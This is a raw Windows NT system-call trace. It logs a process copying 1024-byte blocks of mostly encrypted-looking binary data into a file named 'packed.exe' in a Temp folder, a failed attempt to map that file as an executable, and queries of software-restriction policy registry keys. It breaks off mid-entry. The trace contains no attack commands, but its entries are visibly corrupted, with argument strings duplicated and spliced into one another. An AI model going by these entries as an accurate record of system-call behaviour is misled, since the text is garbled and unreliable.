 01466  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01467  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\273_0\311\247-\356!\15\224\261\314PH\376\31k\3531M?(WM\16\32F\211\310\312\274h\321\335\201\216\260p2\214\303\362vTZ'\207o\334\360\335\260\33\216~\21IPt\215\332\265$\353\203\246(\310\275v\362V\315\334k\347\16\254\356\31X\33X\334V\343w\342\274\370$\16\227\203Z\35722\343\311( \267\\201\347\346\262\361\354m\7/>\344yj\12\251\224D=`Q\335\247 *\202\344\21\325\6\236\304[Zp\357\335\360\204\222\33a\12b\34\232\334S\13\271\331\244\372\27\6\303\356\261\16\4s\246k\371]\\211\1 \245i\236\243A!\330uD\370\237\2769\361\356\214G)\310\24\337\364r\210\305\254-,D\261\225\361\357\15\312\367\366^\341\312h\230e\370\32\31\7\0e{ba\223Q0\23\361\262\237I|II\243`C\2\34\326\15\13#g\353\214!\376\353|R\357R%\333\262\262\363\353l\204\364Ac\241\12k\312cK\236\34T\356\34\1\316\17\232\263\354\275\355:\314\31\16\270q\245\3\177\350\33\251\376f\325<\332D\232:\21\354\371\220}\17C\367\253\265\25\303\201'\32\310(\333\226\22[\373y\330\372\240\354\331y\2711Fe\216\35\275tu\24[X.\10\30\30\310\240\11j\10(d\334q\312\240\17\3y\245\235qQ\356/\361\320\276\310\205\313\334\241\206\254\232\35\22\220P\224\332\332,\352\}5\306\201\2354R~", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) A!\330uD\370\237\2769\361\356\214G)\310\24\337\364r\210\305\254-,D\261\225\361\357\15\312\367\366^\341\312h\230e\370\32\31\7\0e{ba\223Q0\23\361\262\237I|II\243`C\2\34\326\15\13#g\353\214!\376\353|R\357R%\333\262\262\363\353l\204\364Ac\241\12k\312cK\236\34T\356\34\1\316\17\232\263\354\275\355:\314\31\16\270q\245\3\177\350\33\251\376f\325<\332D\232:\21\354\371\220}\17C\367\253\265\25\303\201'\32\310(\333\226\22[\373y\330\372\240\354\331y\2711Fe\216\35\275tu\24[X.\10\30\30\310\240\11j\10(d\334q\312\240\17\3y\245\235qQ\356/\361\320\276\310\205\313\334\241\206\254\232\35\22\220P\224\332\332,\352\}5\306\201\2354R~", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01468  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01469  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\275\20\2351%~\23\307~\327$\260D\270[\267x\267\261z\223\24\357\317I\203\24\254D\351\256\27!\237\231\347\253\331\24\225q\35163\317\216\354\22\227\224T%\\244\236\270\315\r\306\246\354\344\230\200\366Q\364\332\225\233\\16v\336\343.\242%\320\331Dn\313K\344r\20\22s\245\331\371\220}\240Gjv{\371\331*\277|\4\260\1\305\4OGjb+t~t\375\276\363\24\356k\267\32\231\242\22\352\336{\375G\337\344\347\1\3\375^\345G4\231|\272\16_Zd\206@Xeh\317\217\260\224Mmv\204\225\206ft"81\331K\313$\13\300\224\304I-g\266k\352\6\226\32\224>\253\367\336\253\256\11\11\247\30\270\3377\330\267\341\226\370\244\16\262\220m\257\345\367\304n\3427\270q{~\236H\236\325\0\24\220\2D\234\355\3442\277\234\364c\212$\273DB\344\313\327O\2204\274d\354Y\306\267\200\200\12}\335\320u'\337_\244\213\16\265\21V'\261\363X\23\344o\31\302w\356\255>\311\354T\331\203\344v\352D\375\300\215\240aU-\325\242\177\201\365\231\13UY\251\22)\3458C\343\245:b\236\270\330\24\233L\317\251|\247\2127k\334\2203$i\254\333\323\377eB\3372\352\5\204\12\26\343\252\6\205\270\350\2233oJ\34\6\3\370u4\234\362h\316\32nX\231\225n\34\371\217\220\\363Ni\366\271\2\352\341\240?\352\305~\352/\236\234\204)0xQ\270\221)8\226\267\356\205\277ue\336\242-\201\264?\14\225\353&\204]\311\4Y\234\246\7\326\304\257?\375M\357G\221z\237\227*\305R\325\15\7D\31\303\215\371g\243\346#\306\372\355k.\360\301\312%4@\305\263P[ xgx+\11'gl\301\217\\223\330&\371*3,\31\366", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 81\331K\313$\13\300\224\304I-g\266k\352\6\226\32\224>\253\367\336\253\256\11\11\247\30\270\3377\330\267\341\226\370\244\16\262\220m\257\345\367\304n\3427\270q{~\236H\236\325\0\24\220\2D\234\355\3442\277\234\364c\212$\273DB\344\313\327O\2204\274d\354Y\306\267\200\200\12}\335\320u'\337_\244\213\16\265\21V'\261\363X\23\344o\31\302w\356\255>\311\354T\331\203\344v\352D\375\300\215\240aU-\325\242\177\201\365\231\13UY\251\22)\3458C\343\245:b\236\270\330\24\233L\317\251|\247\2127k\334\2203$i\254\333\323\377eB\3372\352\5\204\12\26\343\252\6\205\270\350\2233oJ\34\6\3\370u4\234\362h\316\32nX\231\225n\34\371\217\220\\363Ni\366\271\2\352\341\240?\352\305~\352/\236\234\204)0xQ\270\221)8\226\267\356\205\277ue\336\242-\201\264?\14\225\353&\204]\311\4Y\234\246\7\326\304\257?\375M\357G\221z\237\227*\305R\325\15\7D\31\303\215\371g\243\346#\306\372\355k.\360\301\312%4@\305\263P[ xgx+\11'gl\301\217\\223\330&\371*3,\31\366", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01470  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01471  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\232'\216\34!_\220\344\262\4\14\226h\274\270\302\321\202J\242\200K\263^\303\321{\321\336j\7\342\233\263\307W\204\17\217f]\324\375\227\204\342\242\271\5&N\306R\310\201,\2259\257?7`\4+\320\21{\255\226@"X\222\347\216\343\335\202.\253\7h@\374\330Q7\372ZqW\266\15z\270O\357\345p\363$\266\223\225\330+^\%\275>-\315\231\231F\200\327|!\323bM\26\202)3\373\344\226O-\274\227\341\372\351y\237\315\273\25\7\306\340\314m\345\303\344\213'\112nSw\247fH\276\242K\270\321S\177\216\234\76t\206\131\232\331\210\312\24]\346\365\260{\364WH\330\321\5:\250AO\253\36\20MH\264\244\377-a\215\373L\366*\210t\343X\37H\315\216\336\36\11\2kb\322;\246\334\350\233}\246D"\330ch\5\337r\207\25MCl\253\216\21\311\252H]\363\266\241\33Ze@k\245\303?u\355\27\215k\2*\220)\236z\334\221\254\252 \346\323\305\247\364=n\306\36\374\305\PE.", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) X\222\347\216\343\335\202.\253\7h@\374\330Q7\372ZqW\266\15z\270O\357\345p\363$\266\223\225\330+^\%\275>-\315\231\231F\200\327|!\323bM\26\202)3\373\344\226O-\274\227\341\372\351y\237\315\273\25\7\306\340\314m\345\303\344\213'\112nSw\247fH\276\242K\270\321S\177\216\234\76t\206\131\232\331\210\312\24]\346\365\260{\364WH\330\321\5:\250AO\253\36\20MH\264\244\377-a\215\373L\366*\210t\343X\37H\315\216\336\36\11\2kb\322;\246\334\350\233}\246D (92, 0, 0, 0, "\232'\216\34!_\220\344\262\4\14\226h\274\270\302\321\202J\242\200K\263^\303\321{\321\336j\7\342\233\263\307W\204\17\217f]\324\375\227\204\342\242\271\5&N\306R\310\201,\2259\257?7`\4+\320\21{\255\226@"X\222\347\216\343\335\202.\253\7h@\374\330Q7\372ZqW\266\15z\270O\357\345p\363$\266\223\225\330+^\%\275>-\315\231\231F\200\327|!\323bM\26\202)3\373\344\226O-\274\227\341\372\351y\237\315\273\25\7\306\340\314m\345\303\344\213'\112nSw\247fH\276\242K\270\321S\177\216\234\76t\206\131\232\331\210\312\24]\346\365\260{\364WH\330\321\5:\250AO\253\36\20MH\264\244\377-a\215\373L\366*\210t\343X\37H\315\216\336\36\11\2kb\322;\246\334\350\233}\246D"\330ch\5\337r\207\25MCl\253\216\21\311\252H]\363\266\241\33Ze@k\245\303?u\355\27\215k\2*\220)\236z\334\221\254\252 \346\323\305\247\364=n\306\36\374\305\PE.", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01472  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\33\0\0\0\0\0\0\0?\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX", ) , ) == 0x0
 01473  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\345/M/@\35#T\224\244w\266\375\276L\11\265\324\277O^\214b\303\332D&\31\1\304\367\220\323["p\27\253uX\22\24dC\211\212\235(\321\214\326\234\231-\244\332\257\310\34\271\345\374\316\327>\260\203`\247\34\365\313\33x\3\305\354CK\314{#\254@\225\317\227\304\245\333\320[\364a\13\246\243\2500e_a\263h;r\316\307\272\321\320\3717 \217\343\6\213I\240\212\16\363\247\263\313\1\212ld\227\344s\232\320\377Q\361N\4\3\343\305\246\345~\337\325\271u\203\207o6\227(\241&<+\212duE\265\24\225z\37N\21'\243\\307\270kH\372\355\341`\25r\2563F\33\305\243\267wB\211\206<\204X\366]V\212\236\201E\256\37\326\335\301E\1\270\17\11\356\351\310\327q\235*%\242\336Y\14L\244\224\\324\3525P\15\22\24G\15bW\236|\320\324\0\331\232\256\32\262\225\257\353\277\272\314f\256\303\265\5\273}\34\216\210\27Q?\25\232\202\242\207\203\235\326\351\242\204\118<\301\220\251\374\241\264\3574\305\334\10\252!\277.&\342EOG\10\366M0\12z\227+|#z/4\344\345e",w&.\200\315\234\262\214baV\364q\314\225\353\2521\325\32\34p\0\321\252\316\\33:\351\36\225\262\306L\30\245\274U\2343\225\33\14i)\233\274\3\302\272\20\244\214\265M\350S\20\373\351\311\345A\21\10\261\347\221&2i8ahg\354{B`\277\251\200\237\3j\260P\337\201Ef\321\250\234A\247\223E&\12\204\244\3279#\336\274\365\253"\346\37?\14\273\253\261\352\12I\10%Q\241\211q\213\346\35\267lk\302\310\2646>\263\25\35j>\15\211O\245,c\240_k\310\346\347\361\342)De\371\215:\217\12]E35Vq\361:Pq\202", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) p\27\253uX\22\24dC\211\212\235(\321\214\326\234\231-\244\332\257\310\34\271\345\374\316\327>\260\203`\247\34\365\313\33x\3\305\354CK\314{#\254@\225\317\227\304\245\333\320[\364a\13\246\243\2500e_a\263h;r\316\307\272\321\320\3717 \217\343\6\213I\240\212\16\363\247\263\313\1\212ld\227\344s\232\320\377Q\361N\4\3\343\305\246\345~\337\325\271u\203\207o6\227(\241&<+\212duE\265\24\225z\37N\21'\243\\307\270kH\372\355\341`\25r\2563F\33\305\243\267wB\211\206<\204X\366]V\212\236\201E\256\37\326\335\301E\1\270\17\11\356\351\310\327q\235*%\242\336Y\14L\244\224\\324\3525P\15\22\24G\15bW\236|\320\324\0\331\232\256\32\262\225\257\353\277\272\314f\256\303\265\5\273}\34\216\210\27Q?\25\232\202\242\207\203\235\326\351\242\204\118<\301\220\251\374\241\264\3574\305\334\10\252!\277.&\342EOG\10\366M0\12z\227+|#z/4\344\345e (92, 0, 0, 0, "\345/M/@\35#T\224\244w\266\375\276L\11\265\324\277O^\214b\303\332D&\31\1\304\367\220\323["p\27\253uX\22\24dC\211\212\235(\321\214\326\234\231-\244\332\257\310\34\271\345\374\316\327>\260\203`\247\34\365\313\33x\3\305\354CK\314{#\254@\225\317\227\304\245\333\320[\364a\13\246\243\2500e_a\263h;r\316\307\272\321\320\3717 \217\343\6\213I\240\212\16\363\247\263\313\1\212ld\227\344s\232\320\377Q\361N\4\3\343\305\246\345~\337\325\271u\203\207o6\227(\241&<+\212duE\265\24\225z\37N\21'\243\\307\270kH\372\355\341`\25r\2563F\33\305\243\267wB\211\206<\204X\366]V\212\236\201E\256\37\326\335\301E\1\270\17\11\356\351\310\327q\235*%\242\336Y\14L\244\224\\324\3525P\15\22\24G\15bW\236|\320\324\0\331\232\256\32\262\225\257\353\277\272\314f\256\303\265\5\273}\34\216\210\27Q?\25\232\202\242\207\203\235\326\351\242\204\118<\301\220\251\374\241\264\3574\305\334\10\252!\277.&\342EOG\10\366M0\12z\227+|#z/4\344\345e",w&.\200\315\234\262\214baV\364q\314\225\353\2521\325\32\34p\0\321\252\316\\33:\351\36\225\262\306L\30\245\274U\2343\225\33\14i)\233\274\3\302\272\20\244\214\265M\350S\20\373\351\311\345A\21\10\261\347\221&2i8ahg\354{B`\277\251\200\237\3j\260P\337\201Ef\321\250\234A\247\223E&\12\204\244\3279#\336\274\365\253"\346\37?\14\273\253\261\352\12I\10%Q\241\211q\213\346\35\267lk\302\310\2646>\263\25\35j>\15\211O\245,c\240_k\310\346\347\361\342)De\371\215:\217\12]E35Vq\361:Pq\202", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \346\37?\14\273\253\261\352\12I\10%Q\241\211q\213\346\35\267lk\302\310\2646>\263\25\35j>\15\211O\245,c\240_k\310\346\347\361\342)De\371\215:\217\12]E35Vq\361:Pq\202", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01474  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=512},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=512}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\33\0\0\0\0\0\0\0?\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX", ) , ) == 0x0
 01475  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "RW\275\331q\366\272\31u\35\344\214VqZ[\14\227\263\217YU\2\372b\13\223\274\264v\216p\6\326\353\230\365^\212\33\201\330xc.\213\212\23\27\33\346\212\332!j\221\24#\30pk\253X\21\26\\345\2\4\3512\301\371\337,`Iren`\359\271\206\314,Ql\334=\341\26279\276\263\307.is\333p\373w\324\7\3140\37r\15\336\303\351K\222\311\2129\353\375\261\231*\312\342\222y\5JtS;\10|KO\355\261y\212\212o\333L\356\275v[S\21\365\272\365\364C\262\233MG\27\221R\256\12\367\233\272N\241\347\376\371\14&\210O\247\320&\27\275\216\4\327\253\11\345\203\265\303?\333\277\15\0\263\242\201n\323\226'\312\341\30b\266\16Ks/;S\27z\242\360\21\323\356L/\261Z\210;d]\370F\1O\210D\276\205\347-\235\267\242o\255\304\277\264\341\34-\335\2471C\213\251\212\234j\3239M\366\203\14\211\350\7\344\354\3503\366\320\324q\236\206\327\365\255\22\36L\4\245/\352\201\20\3?\262\351]9\22321\37+\324\333\26\15\341\260\232O\216\360.2\246\344f\265\256\315\15\254\246Q\361e\15\11\322\5\224\26\216\261\2701\311\355\14T\34\352]\340\324bo?\251\250\325\37\370\323\342\244l0/]\320\3649D\265!8\13\316\365\\355\17j\241\243\324G)\367\22b\242\333\2349>\226\5\212\243\224\233&\255D\373\14\2353\34228\24#\302'\35\205\326\2.\371\343p>\222\232\361\367c|\231]\257L!\243'\215\260?\353Z,\335\315- \255\351\246\356x\252\10J\5\31\241K", 512, 0x0, 0, ... {status=0x0, info=512}, ) \326\2.\371\343p>\222\232\361\367c|\231]\257L!\243'\215\260?\353Z,\335\315- \255\351\246\356x\252\10J\5\31\241K", 512, 0x0, 0, ... {status=0x0, info=512}, ) == 0x0
 01476  1356   NtClose  (88, ... ) == 0x0
 01477  1356   NtClose  (92, ... ) == 0x0
 01478  1356   NtQueryInformationJobObject  (0, BasicUIRestrictions, 4, ... ) == STATUS_ACCESS_DENIED
 01479  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.exe"}, 1238828, ... ) }, 1238828, ... ) == 0x0
 01480  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.exe"}, 1239564, ... ) }, 1239564, ... ) == 0x0
 01481  1356   NtOpenFile  (0x1000a1, {24, 0, 0x40, 0, 0,  (0x1000a1, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.exe"}, 5, 96, ... 92, {status=0x0, info=1}, ) }, 5, 96, ... 92, {status=0x0, info=1}, ) == 0x0
 01482  1356   NtCreateSection  (0xf001f, 0x0, 0x0, 16, 16777216, 92, ... ) == STATUS_INVALID_IMAGE_NOT_MZ
 01483  1356   NtOpenThreadToken  (-2, 0x2000000, 1, ... ) == STATUS_NO_TOKEN
 01484  1356   NtOpenProcessToken  (-1, 0xa, ... 88, ) == 0x0
 01485  1356   NtQueryInformationToken  (88, User, 136, ... {token info, class 1, size 36}, 36, ) == 0x0
 01486  1356   NtOpenKey  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01487  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 96, ) }, ... 96, ) == 0x0
 01488  1356   NtQueryValueKey  (96,  (96, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (96, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) }, 16, ) == 0x0
 01489  1356   NtQueryValueKey  (96,  (96, "AuthenticodeEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (96, "AuthenticodeEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01490  1356   NtClose  (96, ... ) == 0x0
 01491  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\LevelObjects"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01492  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 96, ) }, ... 96, ) == 0x0
 01493  1356   NtQueryValueKey  (96,  (96, "Levels", Partial, 536, ... ) , Partial, 536, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01494  1356   NtClose  (96, ... ) == 0x0
 01495  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01496  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01497  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01498  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01499  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01500  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01501  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01502  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01503  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01504  1356   NtQueryDefaultLocale  (1, 1238268, ... ) == 0x0
 01505  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths"}, ... 96, ) }, ... 96, ) == 0x0
 01506  1356   NtEnumerateKey  (96, 0, Basic, 280, ... {LastWrite={0x3a5edea,0x1c74da9}, TitleIdx=0, Name= (96, 0, Basic, 280, ... {LastWrite={0x3a5edea,0x1c74da9}, TitleIdx=0, Name="{dda3f824-d8cb-441b-834d-be2efd2c1a33}"}, 92, ) }, 92, ) == 0x0
 01507  1356   NtOpenKey  (0x20019, {24, 96, 0x40, 0, 0,  (0x20019, {24, 96, 0x40, 0, 0, "{dda3f824-d8cb-441b-834d-be2efd2c1a33}"}, ... 100, ) }, ... 100, ) == 0x0
 01508  1356   NtQueryValueKey  (100,  (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=2, Data="%\0H\0K\0E\0Y\0_\0C\0U\0R\0R\0E\0N\0T\0_\0U\0S\0E\0R\0\\0S\0o\0f\0t\0w\0a\0r\0e\0\\0M\0i\0c\0r\0o\0s\0o\0f\0t\0\\0W\0i\0n\0d\0o\0w\0s\0\\0C\0u\0r\0r\0e\0n\0t\0V\0e\0r\0s\0i\0o\0n\0\\0E\0x\0p\0l\0o\0r\0e\0r\0\\0S\0h\0e\0l\0l\0 \0F\0o\0l\0d\0e\0r\0s\0\\0C\0a\0c\0h\0e\0%\0O\0L\0K\0*\0\0\0"}, 202, ) , Partial, 280, ... TitleIdx=0, Type=2, Data= (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=2, 